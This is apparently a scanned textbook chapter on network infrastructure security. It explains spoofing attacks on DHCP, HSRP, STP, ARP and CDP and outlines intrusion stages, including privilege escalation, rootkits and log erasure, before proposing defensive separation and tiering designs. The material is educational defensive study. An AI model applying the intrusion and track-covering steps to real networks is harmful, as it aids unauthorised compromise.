This attack is very similar to the man-in-the-middle attack mentioned above.
Instead of bogus default gateway, a rogue DHCP server sends DHCP information

pointing to a bogus DNS server.

Hot Standby Router Protocol (HSRP) Attacks

The routers communicate to each other every couple of seconds through the use of
HSRP packets. The priority field of HSRP packet is 8-bit long, thus the priority
range is 0 — 255. An attacker could construct and send packets that have a higher
priority than the active router. This would cause the active router to be pre-empted
by the attackers machine thus causing a denial of service attack against the routers

running HSRP.

Content-Addressable Memory (CAM) table overflow attack

The CAM table in a switch contains information such as the MAC addresses
available on a given physical port of a switch, as well as the associated VLAN
parameters. CAM tables are limited in size. An attacker can flood the switch with
a large number of packets having invalid source MAC addresses. The intention is
to fill CAM table up with useless information. When it occurs, the switch will
work like a hub, i.e. it floods all ports with all incoming traffic. It is because the
switch cannot find MAC address matching in the CAM table (the table is already
filled with useless information). CAM table overflow only floods traffic within the
local VLAN so the intruder will only see traffic within the local VLAN to which
he or she is connected. We can see that packet spoofing plays a key role in this

attack.
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Virtual LAN (VLAN) hopping attack

In this attack, an end computer sends out spoofing packets destined for another
computer on a different VLAN (that cannot be reached in normal case). This
traffic is tagged with a different VLAN ID to which the end computer belongs. Or,
the attacking computer may be trying to behave like a switch and negotiate

trunking so that it can send and receive traffic between other VLANS.

Media Access Control (MAC) Address spoofing attack

It involves the use of a known MAC address of another host to attempt to make
the target switch forward frames destined for the remote host to the network
attacker. By sending a single frame with the other host's source MAC address, the
network attacker overwrites the CAM table entry so that the switch forwards
packets destined for the host to the network attacker. Until the host sends traffic, it
will not receive any traffic. When the host sends out traffic, the CAM table entry

is rewritten once more so that it moves back to the original port.

Spanning-Tree Protocol (STP) manipulation attack

STP is used in switched networks to prevent bridging loops. By attacking STP, the
attacker can become the root bridge in the STP topology and see the frames that it
is not supposed to see. One way to do that is to broadcast Bridge Protocol Data

Units (BPDUs) with a very high bridge priority.

Address Resolution Protocol (ARP) attack

ARP is used to map IP addressing to MAC addresses in a local area network seg-
ment where hosts of the same subnet reside. ARP attack happens when someone is
trying to change the ARP table of MAC and IP addresses information without au-
thorization. By doing so, attacks can spoof his/her MAC or IP address to launch
two types of attacks. One of them is denial of service. To do that, attackers can

update ARP caches of network infrastructure devices (such as router) with non-
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existent MAC addresses. Thus, frames will be dropped finally. Another attack is
man-in-the-middle. That is, attacker can intercept the communication between the

router and the end computer.

Cisco Discovery Protocol (CDP) attack

CDP runs at Layer 2 and allows Cisco devices to identify themselves to other
Cisco devices. However, the information sent through Cisco Discovery Protocol is
transmitted in plain-text and unauthenticated. Thus, attackers can launch attacks
by sending spoofing CDP packets. CDP is necessary for management applications
and cannot be disabled without impairing some network-management

applications.

As can be seen from the above discussion, masquerading is the root cause of
most network infrastructure security problems. This root problem was created
because networks in the past were built based on a trusted model — all end
computers in a network are trusted. Attacks are assumed to be coming from
outside. This trusted model has called for many network security techniques such
as packet filtering and firewalls. Moreover, this trusted model is assuming a flat
architecture — an architecture that assumes all end computers are part of the
network. Therefore, a computer on a network can communicate with a network
infrastructure device (e.g., router or switch) in the same way as another network
infrastructure device. This model is illustrated in Fig. 6.1.

As shown in Fig. 6.1, due to the flat architecture, an attacker is able to
access the network infrastructure signaling like routing updates. In other words,
once a computer on a network is compromised, the whole network infrastructure
can be accessible. An attacker can gain knowledge about the infrastructure easily
(e.g. the routing protocol being used, the vendors of the routers, etc.). When
enough information is obtained, the attacker can send spoofing messages to

network infrastructure devices to achieve its intended purpose.
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In the next section, the steps to hack the network infrastructure will be discussed.

From the eyes of a hacker, the weakness of the flat architecture becomes apparent.

Ethernet
Switch

Routing Updates
Router | = Router
Workstation AAA

Web
server

Fig. 6.1. A trusted model and a flat architecture are used in today’s networks.

6.3 Steps in Hacking Network Infrastructure

6.3.1 Hacking From Different Sources

Hacking the network infrastructure (NI) or network infrastructure devices (NI de-
vices) can be done from different sources. The most common source is from the
Internet. Hackers from all over the world may attempt to hack any target network.
Since a well-protected network usually restricts the access from outside, a remote
computer on the Internet usually cannot directly access to network infrastructure

devices (like Ethernet switches) from outside. It may also be difficult for a remote
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computer to access a computer of a network when techniques like NAT are used.
Because of the limited access from a remote computer, it is extremely difficult to
hack a network infrastructure purely from outside. However, a remote computer
can still use services like newsgroups or Google to access to the information about
the network infrastructure devices of a network. For example, the news on upgrad-
ing the network equipment by a company actually tells the hackers that the com-
pany is using network infrastructure devices from a particular vendor. This kind of
information can be obtained from any computer on the Internet (see the first row
in Table 6.2). The information may also be useful for a hacker attempts to change
his source of hacking from outside to inside of a network.

After gathering enough information about a network from a remote
computer, a hacker will try to compromise one or more computers in the targeted
network. It is because a computer in the targeted network can access to the
information that cannot be obtained from outside (see the second row in Table
6.2). For example, a computer in the targeted network can be used to scan all
active network infrastructure devices on the network. The computer can also be
used to sniff the network infrastructure signaling, such as the routing updates from
routers or the STP messages from switches. This sniffing is possible even on a
switched network, because network infrastructure signaling is usually carried in
multicast or broadcast frames. A hacker can also obtain specific information about
network infrastructure devices — the information like the MAC address of the root
switch in a STP network, the IP and MAC addresses of default gateway, etc. This
kind of information is important for compromising network infrastructure devices
later. As will be discussed later in this chapter, security of network infrastructure
can be enhanced significantly if the access to network infrastructure devices by an

end computer is restricted.
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Table 6.2. Hacking from different sources can access different information about Network

Infrastructure (NI).

Access information Access to computers of Access to NI devices of
about NI devices of a  the targeted network? the targeted network?

network?
A remote computer Yes May be Usually no
A computer in the Yes Yes Usually yes
targeted network
An NI device in the Yes Yes Yes

targeted network

The network infrastructure of a network is in great danger if one of its
network infrastructure devices is compromised. Hacking source from a network
infrastructure device is very dangerous because passwords or authentication
information about the network infrastructure may be obtained easily. The network
infrastructure may also be influenced easily from a compromised network
infrastructure device. For example, when a router is compromised, not only all the
routing information is exposed, routing decisions can also be influenced. Routing
attacks like packet misrouting attack can be launched easily from the
compromised router. Due to this reason, it is strongly recommended to organize
the network infrastructure in a hierarchical structure (or in tiers). When a network
infrastructure device at lower tier is compromised, network infrastructure devices
at higher tier can still be protected.

As discussed above, hacking can be sourced from 1) a remote computer, 2)
an end computer in the targeted network, or 3) a network infrastructure device in
the targeted network. It is more dangerous when the source of hacking is closer to
the network infrastructure. In the following sections, hacking at these three

sources is discussed in detail.
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6.3.2 Information Gathering From a Remote Computer

The purpose of information gathering is to find out as much information about the
targeted network infrastructure as possible. IP addresses, network architecture,
brands and models of network infrastructure devices, signaling protocols used ...
all these can be done in a remote computer. Sometimes, the process of information
gathering is called footprinting.

The steps in gathering the information are:

1. Gathering information

. Determining the network range

. Finding open ports and access ports
. Fingerprinting OS

. Fingerprinting services

AN L A WL

. Mapping the network

The first thing that a hacker needs to do is to find initial information about
the targeted network. The information includes domain names, IP addresses of the
network etc. Tools like whois, nslookup and Google search can be used to find
this information. Web site of the targeted network can also provide useful
information about the network. Consider the following news from a web site of a

company XYZ:

“... XYZ is proud to announce the signing of a $1M agreement with vendor
ABC on December 12, 2007. Under the agreement, XYZ will provide
network upgrade service to the company. The upgrade includes the
replacement of key network routers and switches, and the use of XYZ's

advanced security products....”
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The news actually reveals the use of network infrastructure devices from vendor
XYZ. A search on products by XYZ will further reveal the possible models of
these devices. From the value of the agreement, a hacker can also guess the
models (high end or low end) that may be used by company ABC.

The second thing that a hacker needs to do is to determine the network
range. It can be done by searching whois database (http://www.arin.net/whois/).
When the network range of a network is known, active computers on the network
can be found by scanning the network. Many scanning tools provide this kind of
scanning function.

The third thing to do is to find open ports on an active computer. The
purpose is actually to look for a door to access to the computer. Scanning tools
like Nmap (http://nmap.org/) provide scanning function with a rich set of scanning
methods. By using a suitable method, a scanning process can become
undetectable.

Fingerprinting operating system is the next thing to be done. The purpose is
to find out the type and version of an active computer. This knowledge is very
useful for compromising the computer. It is because a hacker can find the
loopholes of the computer by search vulnerability reports on this specific version
of operating system.

The fifth task is to fingerprint the services on a computer. Similar to
operating systems, server services running on a computer (like web servers and
email servers) are vulnerable to attacks. Information on these services is valuable
if a hacker wants to compromise the computer.

The last thing to be done in information gathering is to map the network. In
this task, a complete view on the network is mapped. Information about active
computers and key network infrastructure devices is collectively presented for

further hacking jobs.
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6.3.3 Hacking Computers on the Target Network

When enough information about a network is obtained as discussed above, a
hacker begins to compromise one or more computers in the targeted network.
Why there is a need to compromise a computer? It is because a hacker can become
an insider when he compromises a computer of the network. It is easier to
compromise an end computer than a network infrastructure device.

The following outlines the steps to compromise an end computer:

1. Gaining access
2. Escalating privilege
3. Hiding files

4. Covering tracks

To compromise a computer, gaining access to the computer is the first step.
In doing so, it may need to enumerate accounts on the computer and then crack the
passwords of the accounts. It is also possible to gain access to a computer by other
methods like Trojans or keystroke loggers. These hacking tools can be sent to a
computer via different means including emails and Web accesses.

Once access to a computer is gained, privilege of the access has to be
escalated to the root privilege (for a Linux/Unix computer) or the administrator
privilege (for a Windows computer). The reason of doing so is that many
operations (like setting the NIC of a computer to promiscuous mode) can be done
by root privilege only. Techniques to escalating privilege include extracting the
administrator’s password from the system file, resetting the administrator’s
password, and buffer overflow.

A hacker may need to install some applications in a compromised computer

to achieve some purposes. These applications include remote shell, keystroke log-
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gers, spyware, and sniffer. However, files of these applications must be hidden so
that normal users or the administrator of the computer make no notice. File hiding
can be done by rootkits, alternate data streams, or steganography.

The last thing that a hacker will do is to erase evidence of a compromise. It
includes the erase of logins messages, error messages, and system’s logs. It also
includes the disabling of the auditing function. When it is done, a hacker can
successfully access to the targeted network as an insider. The compromised
computer would be very helpful to the hacker’s further hacking to the network

infrastructure.

6.3.4 Hacking Network Infrastructure Devices

The steps to hack network infrastructure devices are:

1. Reconnaissance

2. Scanning: finds vulnerabilities that can be exploited
3. Gaining access

4. Maintaining access

5

. Covering tracks

Reconnaissance is the step to find out the network infrastructure devices on
a network. Although routers connecting to external sides are easier to find due to
their visibility, special attention to harden them are also paid by network adminis-
trators. It is therefore easier to compromise internal network infrastructure de-
vices. Before compromising them, they have to be discovered. Sniffing is the best
method to discover internal network infrastructure devices. Sniffing is possible
(even in a switched network in which unicast traffic is sent to the destinations
only) because network infrastructure devices usually communicate with each other
by multicast or broadcast messages. However, sniffing is an insider attack, i.e. an

end computer on the targeted network must be compromised first. After it is com-
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promised, a sniffing tool (such as Wireshark as introduced in Chapter 5) can be in-
stalled on the computer to perform the sniffing action.

When a network infrastructure device is found, more information about it
must be found by scanning it. Useful information includes the brand and model of
the device, the firmware version, and the services that the device is supporting
(e.g. telnet, SNMP, or TFTP). Based on the information, a hacker can find the
vulnerabilities that can be exploited.

If vulnerability is found, a hacker can try to compromise the device by
gaining access to it. For example, some network infrastructure devices allow their
configuration files to be accessed via http (for easy installation). If there is a
vulnerability of this http access (and has not been fixed), a hacker can take
advantage of this vulnerability if he knows about it.

The access to a network infrastructure device, once it is compromised, can
be maintained by opening back doors to it. Examples include creating a new telnet
account to it, starting the ftp service, installing malicious codes to the device (e.g.
for Linux based devices), or even replacing its firmware.

The last thing that a hacker will do is the same as in compromising a
computer -- to erase evidence of a compromise, which includes the erasing of
logins messages, error messages and system’s logs, and the disabling of the
auditing function. After completing all the hacking steps, a hacker may further

attempt to compromise the next network infrastructure device.

6.3.5 A Risk Analysis

A risk analysis formula is helpful to the following discussion. Define risk to the

network infrastructure of a network as:

Risk = vulnerability x threat X cost
where vulnerability is how likely a network node (a network infrastructure device

like a router or a switch, or an end computer or server) is successfully being at-
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tacked, threat is how likely such an attack happens, and cost is the total cost to the

network infrastructure if a threat succeeds.

For an end computer, its vulnerability is usually higher than that of a
network infrastructure device. It is partly due to the fact that the internal structure
of a network infrastructure device is usually undisclosed. The threat to an end
computer is also usually greater than the threat to a network infrastructure device.
It is due to the fact that end computers are more accessible from outside. The cost
of the network infrastructure if an end computer is compromised, however, is
much less than that when a network infrastructure device is compromised. It is
because a network infrastructure device inherently trusts another infrastructure
device (in a flat network design model as will be discussed in the next section).
Once a network infrastructure device is compromised, this trust can be exploited
to further compromising other network infrastructure devices.

From the above risk analysis, it is interesting to find that the risk of network
infrastructure if an end computer is compromised is higher than the risk if a
network infrastructure device is compromised! Although the cost has been
lowered, both the vulnerability and threat are greater when an end computer is
compromised. Therefore, to secure the network infrastructure, the risk due to end

computers must be minimized, which will be discussed in the next section.

6.4 Flat Network Design Model and Masquerading

In the previous section, it points out that network infrastructure hacking can be

performed at three different sources:

1. from a remote computer,
2. from an end computer of the targeted network, and

3. from a network infrastructure device of the targeted network.
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The hacking usually starts from a remote computer, and then gets closer and
closer to the network infrastructure as shown in Fig. 6.2. In the figure, a triangle
represents a network infrastructure device. There are many concentric circles in
the figure. The dotted ones represent the possible network boundaries, and the
solid circles represent the network boundaries of today’s networks. There are
usually two network boundaries in today’s networks: a boundary between remote
computers and servers at DMZ, and a boundary between DMZ servers and end
computers inside a network. Firewalls are usually installed at the boundary to
protect the inside network. Unfortunately, today’s network infrastructures are still
using a flat network design. It means that all network infrastructure devices and
end computers are assumed to be connected together with no clear boundary. It is
illustrated in the figure that when a computer is compromised, ALL network
infrastructure devices are accessible from this compromised computer. Note that
this access is not possible from a remote computer due to the firewall protection.

The flat network design discussed above actually facilitates masquerading.
As pointed out in Sect. 6.1, masquerading is the root problem of network
infrastructure security. For this reason, the flat network design actually makes this
root problem much more severe. For example, when an end computer is
compromised, it can be used to launch all kinds of network infrastructure attacks
like HSRP attack, STP attacks, DHCP attacks and many others that are discussed
earlier. For network infrastructure protocols with authentication mechanism (e.g.
OSPF), masquerading may still be difficult. However, for many others that do not
have authentication mechanism (e.g. HSRP, STP, DHCP, CDP, and ARP), it is
easy to spoof the whole flat network by using the compromised computer.

When WiFi is used, the weakness of the flat network design is totally ex-
posed. A wireless PC can immediately become one of the inside computers if it is
placed physically near to a wireless network. In order to let the users easily use the
wireless network, many WLANSs allow computers to connect to them with no au-

thentication (e.g. in public WLANS). Sometimes in these networks, only basic se-
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curity measures like MAC address filtering are used. For these cases, network in-

frastructure can be hacked without even compromising an end computer of the

targeted network.
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Fig. 6.2. Diagram on concentric circles: remote computers->local computers->NI1, NI2, ...

6.5 A New Model to Protect Network Infrastructure

6.5.1 Network Infrastructure Separation and Tiering

The above discussion reveals that the flat network design model is a poor model

from the point of view of network infrastructure security. A new network design
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model must be introduced for network designers and implementers. In the follow-
ing, such a new model is introduced.

In the new model, end computers and servers are recommended to be
separated from the network infrastructure as illustrated in Fig. 6.3. As will be
discussed later, the concept of separation is conceptual and can be implemented in
practice in any different ways. The basic idea of separation is that network
infrastructure provides connectivity to end computers, but end computers are
restricted to access the network infrastructure. With the separation, end computers
cannot access network infrastructure signaling (NI signaling) like routing updates
and STP messages. Moreover, end computers cannot send packets that are
destined to any network infrastructure device (NI device). They can only send
packets that are destined to other end computers or servers, or to computers
outside the network. Although the network infrastructure still provides packet
forwarding service to an end computer, the infrastructure is, however, transparent

to the end computers.

Network for Data Traffic

Fig. 6.3. A network with network infrastructure separation.
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Separating end computers from the network infrastructure, as discussed
above, is only a basic model. A more complete design model is illustrated in the
dotted circles in Fig. 6.2. As shown in the figure, the network infrastructure is
recommended to be further divided into many tiers, says ¢ tiers. Tier 1 is the top
(and most important) tier, and tier ¢ is the tier that connects to end computers.
After dividing the network infrastructure into tiers, communications between

network infrastructure devices are also well defined by the following rules:

Rule 1 By default, end computers cannot communicate with any
network infrastructure device;
Rule 2 By default, network infrastructure devices at tier i cannot

communicate with network infrastructure devices at a higher
tier j, or j<i;

Rule 3 Tier i network infrastructure provides connectivity service
between two network infrastructure devices or computers at
any two lower tiers k and /, where k,/>i;

Rule 4 Network infrastructure signaling sending out from a network
infrastructure device at tier i will not flow to the tiers lower
than tier i.

In this restricted communications, the network infrastructure will be well
protected. Even if an end computer is compromised, hacking to network
infrastructure may not be possible. Network infrastructure signaling can still not
be sniffed by the compromised computer. If in other case a network infrastructure
device at tier i is compromised, tiers higher than i will still be protected. In this
way, secure network infrastructure can be built. Of course, this model is only a
conceptual model and today’s networks do not conform to it. A lot of further
research, design, and implementation works are needed in order to make this

model workable in real networks.

In the following, how this model can be used to design real networks is

discussed. Three network designs will be discussed.
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Design 1 On separating the end computers from the network infrastructure
by the MAC filtering technique.

Design 2 For Ethernet networks running STP, tiering can be done in a STP
network to enhance security.

Design 3 On using the NAT technique to restrict each end computer to fall
in one single layer 3 subnet. It is hoped that after reading these
design descriptions, more and more new designs using the new
model will be inspired.

6.5.2 Layer 2 NI Separation —- MAC Address Filtering

In today’s networks, an end computer or a server usually connects to a port
of an Ethernet switch. The network interface card of the computer can send
Ethernet frames freely to all computers or devices connecting to the same-
switched network. It is actually a flat design as discussed above. If an end
computer is compromised, it can be used for sniffing the Ethernet frames that are
flowed through the network. Layer 2 attacks, as discussed in Chapter 2, can also
be launched from this computer.

By following the new design model, end computers should be separated
from the network infrastructure (see Fig. 6.4). But, how can this be done? In the
following, a MAC addressing filtering technique [2] is suggested to be used for
this purpose. A new kind of Ethernet switches that perform MAC address filtering
will be introduced. These Ethernet switches are called NI-Swifches. The main
function of NI-Switches is for connecting end computers or servers. They are not
designed to work as the higher level switches in a layer 2 switching hierarchy.
Therefore, NI-Switches are the edge switches in a switched network.

NI-Switches are Ethernet switches. They are, however, different from

ordinary Ethernet switches in one major aspect: two types of ports are defined.

NI-Ports The first type is called Network Infrastructure Ports, or NI-
Ports. These ports are used to connect NI devices including
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routers and other NI-Switches.

NNI-Ports  The second type of ports is called Non-Network Infrastructure
Ports, or NNI-Ports. These ports are used to connect
computers other than the NI devices. These ports are the
interfacing ports of the NI network to the outside world. At
these ports, layer 2 filtering based on the MAC addresses is
performed.

Fig. 6.5 shows a NI-Switch. As shown, no matter which type of port it is
(either NI-Port or NNI-Port), every port can either be a trunk port (multiple
VLANS) or an access port (single VLAN). Note also in the figure that layer 2
filtering is performed at NNI-Ports only, not at NI-Ports.

Switching Network for Data Traffic

egacy

a Switching Network for NI Signaling | IDS
Ethernet
Switch

Fig. 6.4. The partitioning on a layer 2 LAN.
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Fig. 6.5. A Network Infrastructure Switch (NI-Switch).

The reasons why layer 2 filtering is performed at NNI-Ports are to prevent
NI signaling from leaking out to the outside network, and to prevent outside
computers from sending NI signaling to the NI network. As will be discussed
later, the filtering is purely based on the MAC addresses of the frames. The frame
filters can also be implemented by hardware.

To facilitate frame filtering, two kinds of MAC addresses are defined. They
are called Non-Network Infrastructure MAC addresses (NNI-MAC) and Network
Infrastructure MAC addresses (NI-MAC).

NNI-MAC addresses ~ They are ordinary Burn-In Ethernet addresses of
network interface cards of end computers and
servers. Each of them consists of a 24-bit
Organizational Unique Identifier (OUI) and a 24-bit
vendor assigned part.

NI-MAC addresses They are the MAC addresses of NI devices like
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routers or switches. The OUIs of these NI-MAC ad-
dresses must be configured at the NI-Switches for
MAC filtering. For example, if there are totally 10
routers plus switches in an NI network, then at most
10 NI-MAC OUIs will be needed to be configured at
the NI-Switches. The actual number, however, de-
pends on the vendors of these NI devices. Since the
devices from the same vendor may share the same
OUI, it is possible that only one NI-MAC OUI is
needed for these 10 devices.

With this new design, all existing NI devices can work with the NI-Switches

without any firmware modification. After specifying the NI-MAC addresses in a

network, frame filtering will then be made at the NNI-Ports of the NI-Switches.

Table 6.3 shows how frame filtering is performed for different kinds of traffic.

The detail operations of NI-Switches are discussed in follow.

Table 6.3. Frame filtering at NNI-Ports.

Inbound traffic to a NI-Switch

Outbound traffic from a NI-Switch

Unicast Drop all frames with source MAC
address = NI-MAC

Broadcast  Drop all frames with source MAC
address = NI-MAC

Multicast ~ Drop all frames with source MAC
address = NI-MAC

Drop all frames with destination MAC
address = NI-MAC

Drop all frames with source MAC address
= NI-MAC, except ARP requests

Drop all frames with source MAC address
=NI-MAC
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Unicast Traffic

There are two types of unicast traffic: Unicast-NI and Unicast-NNI. Unicast-NI
traffic is traffic sent between two NI devices. Examples include Border Gateway
Protocol (BGP) messages, AAA messages, and SNMP packets sent from an agent
to a SNMP monitor. As shown in Fig. 6.6, this kind of traffic will be blocked by
all NNI-Ports. Note that an ordinary switch will forward unicast packets to all
ports when the destination MAC address is unknown to it. A switch will also
operate like a hub if it is attacked (e.g., by MAC flooding). On the other hand,
unicast-NNI traffic (like a packet sent from a workstation to a web server) will not

be filtered out at NNI-Ports.

Router 1
(NI-MAC-1)

Router 2
(NI-MAC-2)

| S:NI-MAC-1, D:NI-MAC-2, Data: BGP |

Unicast-NI

Web Server
(NNI-MAC-2)

Workstation
(NNI-MAC-1)

Fig. 6.6. Transmission of unicast traffic by NI-Switches.
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Router 1
(NI-MAC-1)

Router 2
(NI-MAC-2)

[S:NI-MAC-1, D:broadcast, Data: RIPv1 |

Broadcast-NI

Broadcast-NNI

S:NNI-MAC-1, D:broadcast,
Data: ARP-MAC of IP2 =7

Block

Web Server
P2

Workstation
(NNI-MAC-1)
Fig. 6.7. Transmission of broadcast traffic by NI-Switches.

Broadcast Traffic

Fig. 6.7 shows two kinds of broadcast traffic: Broadcast-NI and Broadcast-NNI.
Both of them have a broadcast destination address. However, they can be
differentiated by the source address of a frame. As shown in the figure a
Broadcast-NI frame (like a Routing Information Protocol version 1 (RIPvl)
broadcast) will be filtered at all NNI-Ports. Even with the sniffer program, hackers
outside the NI network cannot access to this sensitive NI information. It explains
why we can use NI-Switches to build a secure NI network. Fig. 6.7 also illustrates
the operation of NI-Switches for Broadcast-NNI traffic. Like ordinary Ethernet

switches a broadcast frame of this kind is flooded to all ports of a NI-Switch.

Multicast Traffic

Many NI signaling protocols use multicast for delivery. These include routing
protocols (e.g., RIPv2 and OSPF), multicast protocols, layer 2 protocols (e.g.,
VTP, CDP and STP) and others (e.g., HSRP). When a NI device uses its NI-MAC
address to send out these signaling messages, these messages will not be leaked to

the outside network through the NNI-Ports.
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Fig. 6.8 shows how multicast traffic is sent through NI-Switches. An exam-
ple on HSRP is used. As shown in the figure, routers 1 and 2 exchange HSRP
messages. These messages are sent to the multicast address 224.0.0.2. The
exchange in these messages results in the election of an active router and a
standby router, and the appearance of a virtual router. The virtual router doesn’t
really exist. It simply represents a consistently available router with a consistent IP
address and MAC address to the workstations on a network. Packets from
workstations will be sent to the virtual router (via the virtual router’s IP address
and MAC address). The active router will be the actual router to receive these
packets (i.e. the active router will have two receiving MAC addresses: its own
MAC address or the NI-MAC address in Fig. 6.8; and the virtual router’s MAC
address). When the active router downs, the standby router will take up the role as
the active router of the network. As shown in Fig. 6.8, HSRP messages will not be
leaked outside through an NNI-Port. It is because the routers will use their NI-
MAC addresses to send out the HSRP messages. The normal data packets sent to

the virtual router, however, are not affected. The reason is that the virtual router

Router 1
(NI-MAC-1)

uses a MAC address that is always not an NI-MAC one.

Router 2
(NI-MAC-2)

]S:NI—MAC—1. D:multicast, Data: HSRP |

Multicast-NI

e
IHSRP Virtual Router |

1 (0000.0c07.ac01) !

‘ S:NMI-MAC-1, D:0000.0c07.ac01, Data:ICMP

Workstation
(NNI-MAC-1)

Web Server
P2

Fig. 6.8. Transmission of multicast-NNI traffic by NI-Switches.
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6.5.3 Tiering of Network Infrastructure in STP Networks

The second design [3] that is going to be discussed is for protecting a network in-
frastructure running Spanning Tree Protocol (STP). As discussed in Chapter 2,
STP is easily attacked due to its lack of authentication and its flat design. Any
computer on the same STP network can spoof the network by sending BPDU
messages.

Two techniques are discussed in Chapter 2 to solve this security problem.
These two techniques actually share the same design concept as discussed in Sect.
6.4.1.The first technique, namely BPDU Guard, actually performs a special kind
of end computer separation by edge Ethernet switches. It is because the technique
refuses BPDU sending from an end computer, which is similar to Rule 1 as
discussed in Sect. 6.5.1. The second technique, namely Root Guard, actually
restricts the reception of root information. If a port is enabled with Root Guard, it
cannot be a root port, or the port will never point to the root direction. It makes the
STP network become a network with hierarchy: the root switch at the top,
followed by many tiers of switches. The tier boundaries are enforced by the
enabling of the Root Guard at the boundary ports. This actually shares the same
concept of network infrastructure tiering. In the following, a further step to make
tiers of network infrastructure will be discussed.

As shown in Fig. 6.9, a STP network is composed by many switches. Every
switch has a set of parameters in the spanning tree protocol, such as bridge id and
root id. Let 4,,; be the bridge id of the jth switch in tier i, and the switch is denoted
as SW;;. Let value B;,; be the smallest bridge id received in BPDUs by SW;;. Let
Rid be the root id in the network. When the topology reaches a stabilized state, the
switch with smallest bridge id will be elected as the root bridge and this bridge id
will become the root id. We assume switch 1 in the tier 1, be the root bridge that
Rid =4, ,=B,,; <A, for all i# 1, j# 1. For any switch, if it receives a smaller
bridge id than the current root id, it will change the root id to the new smallest

value. So if SW,, claims to be the new root by advertising a Rid equals to B,,, and
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B, <A, then all the switches will be affected and all switches will assume the
new root as SW.,.

Fig. 6.10 shows how a switch SW;;, in tier i, connects to an upper tier and a
lower tier. SW;; has two kinds of ports: Higher Tier (HT) ports that connect to a
higher tier network, and Lower Tier (LT) ports that connect to a lower tier
network.

For switches in tier 1, HT ports connect only to the other switches in tier 1
since tier 1 is the highest tier. One of the switches in tierl will be elected as the
root bridge (e.g., SW, in our discussion) and other switches in the tier will find a
fastest path to the root via their HT ports. The HT ports, therefore, perform
conventional STP operations as normal. This is the same for all HT ports in all

lower tier switches.

Tier 2

Fig. 6.9. A switched network with 7 tiers of switches.
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HT

PRidiy !

Prcos T

Fig. 6.10. Switches at tier i advertise a Pseudo root id of PRid; and a Pseudo root cost PRcost; to

the lower tier i+1.

On LT ports, however, a modified spanning tree operation is run. The modi-
fication is that a pseudo root id, denoted as PRid; for tier i, is advertised out to the
LT ports. Note that the pseudo root id must be the same for all switches in the
same tier. There are two reasons of advertising a pseudo root id. Firstly, it is to
protect the switch information of the root (e.g., from the MAC address of the root
id an attacker can learn the manufacturer of the root switch). Secondly, the root
switch can be kept in the first tier if the pseudo root ids are selected carefully so
that PRid; < PRid;., for all i. In this case, if a root id better than the pseudo root of
a tier is received from a LT port, it can be considered as an abnormal condition.
That port can be blocked in order to protect the network.

As shown in Fig. 6.10 a pseudo root cost, denoted as PRcost; for tier i, is
also advertised out by LT ports. Similar to pseudo root id, the purpose of pseudo is
to hide the real cost of path to the root (which can be used to learn the topology of
the network). Normally PRcost; < PRcost;., for all i.

Fig. 6.11 shows the state diagram on ports of a switch running the modified STP
operations. The diagram is the same as given in the IEEE802.1D standard with the

only exception that for LT ports, a new rule (6) is added. This rule is not used for
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HT ports. The new rule enhances the security of STP by checking whether the in-
formation trying to change current topology in the BPDUs on a LT port. If these
cases are detected, and the BPDUs are considered as sending from the attacker, so
the port will be blocked. During the checking, a rate limit on the Topology Change
Notification (TCN) is set to protect the switch from flooding of TCN attack. In a
normal network, TCNs are received at a very low rate. If the rate of receiving
TCNs is beyond the rate limit, the situation can be regarded as abnormal and that

port will be blocked.

Disabled

// (3)
- - Blocking @ 1'—2)-

(4) 8

1(1,2)

(1) Port enabled, by management or initialization

(2) Port disabled, by management or failure

(3) Algorithm selects as Designated or Root Port

(4) Algorithm selects as Alternate Port

(5) Protocol timer expiry (Forwarding Timer)

(6) Abnormal Root advertisement detected (for LT ports only)

Fig. 6.11. State diagram of switch ports.
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6.5.4 Layer 3 Network Infrastructure Separation

Unlike the previous two designs that work at layer 2, a layer 3 design is now
introduced. The design uses the Network Address Translation (NAT) technique to
perform layer 3 separation.

As discussed in Sect. 6.5.1, end computers are recommended to be separated
from the network infrastructure. MAC address filtering discussed in Sect. 6.5.2
achieves part of this goal but is not perfect. For example, although an end
computer cannot receive the broadcast frames sending from a network
infrastructure device, it can still send broadcast frames to the network
infrastructure. If the broadcast frames carry RIP messages, it means that an end
computer cannot receive RIP messages from network infrastructure, but it can
send RIP messages to the network infrastructure. Therefore, layer 2 separation
cannot fully achieve the desired separation. Another method should be introduced
if better separation is needed.

Better separation can be performed at layer 3. Consider the case that a
network is further divided into many subnets, with only one end computer in each
subnet. In this case, an end computer can still communicate with another one by
using layer 3 routing service. In this case, if a hacker successfully compromise one
of the computers, what can he/she do? Can he sniff the frames flowing through the
network? No, because there is only one computer in its subnet. Can he launch
network infrastructure attacks at layer 2, like ARP spoofing or STP attacks? No.
Can he launch network infrastructure attacks at layer 3, like routing attacks? No
for many layer 3 attacks, and may be yes for some others. For example, the
computer cannot be used to send RIP messages to the network infrastructure
because the router connecting the subnet of the computer will block all broadcast

packets. Therefore, a better separation can be achieved.
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However, to use the method discussed above, the problem of limited IP ad-
dresses must be solved. Fortunately, it can be solved by using NAT technique.
Unlike traditional routers that use Network Address Port Translation (NAPT),
NAT with one IP to one IP mapping is used. It will eliminate all the disadvantages
in using NAPT. For the same reason, servers (not only end computers) can also be
separated from the network infrastructure by using this method.

To better explain the separation method, a traditional router with NAPT
function is first reviewed. This is illustrated in Fig. 6.12. In the figure, there is one
router connecting to Internet through an ISP network 144.214.72.0/24. The router
in turn connects to a single private LAN 192.168.1.0/24. Since the router has only
one assigned external IP address (i.e. 144.214.72.2), NAPT must be used in order
to make all computers in the private LAN be able to connect to the Internet. Note
that there is one NAT server in the router, and it serves all computers in the

private LAN.

144.214.72.1/24

—e—_—————————— ! ‘
P1 P2 P3 P4 : WAN |

lH EH BEH B !
Default Gateway: I ?44. 214.72.2/24 |

|i_ 14421472024

Host 1 Host 2 Host 3
192.168.1.1/24 192.168.1.2/24 192.168.1.3/24 |

| Single Private LAT\I

Fig. 6.12. Traditional router with NAPT function.
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To provide network infrastructure separation at layer 3, a new kind of
devices is needed. This kind of routing switch, called Edge Routing Switches
(ERSs), has similar functions as the router in Fig. 6.12, but also has a lot of

differences:

1. The first difference is that an ERS uses NAT, not NAPT.

2. Secondly, an ERS is used to connect end computers to a layer 2 switched
network, not to a WAN. See Fig. 6.13 on how an ERS connects to a switched
network. As shown, an ERS has a port (labeled N1) that connects to a switched
network.

3. The third difference can also be seen from the figure. There are many NAT
servers in the ERS, with one NAT server serving each of the internal ports (P1,
P2 or P3). For each NAT server, there is one outside address plus one inside
address being assigned to it. For example, for the first NAT server, an external
IP of 144.214.72.1 is assigned. The internal IP assigned to it is 192.168.1.1.
